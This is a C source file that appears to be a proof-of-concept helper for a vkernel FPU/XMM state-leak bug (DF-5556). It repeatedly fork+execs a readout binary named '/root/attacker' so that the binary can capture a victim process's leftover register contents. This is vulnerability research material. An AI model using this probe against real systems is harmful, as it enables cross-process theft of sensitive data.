DF-5556 / prober.c
/* * DF-5556 prober — runs INSIDE the vkernel, UNRELATED to the victim. * * Fork+execs the readout binary (/root/attacker) 20 times in a tight * loop while an independently-started victim process continuously * reloads markers into its XMM registers. Every exec creates a fresh * first-user-entry for the child: the vkernel's npxdna()/npxinit() * seeds the child's FP state from the LIVE registers — which still hold * the victim's markers whenever the victim was the last FP owner * (the vkernel kernel itself is compiled -mno-sse and never touches * XMM; only userland intermediaries clobber them). * * Build: cc -static -O2 -o prober prober.c */ #include <unistd.h> #include <sys/wait.h> int main(void) { int i, st; for (i = 0; i < 20; i++) { pid_t pid = fork(); if (pid == 0) { execl("/root/attacker", "attacker", (char *)NULL); _exit(9); } if (pid > 0) wait(&st); } write(2, "PROBER_DONE\n", 12); return 0; } |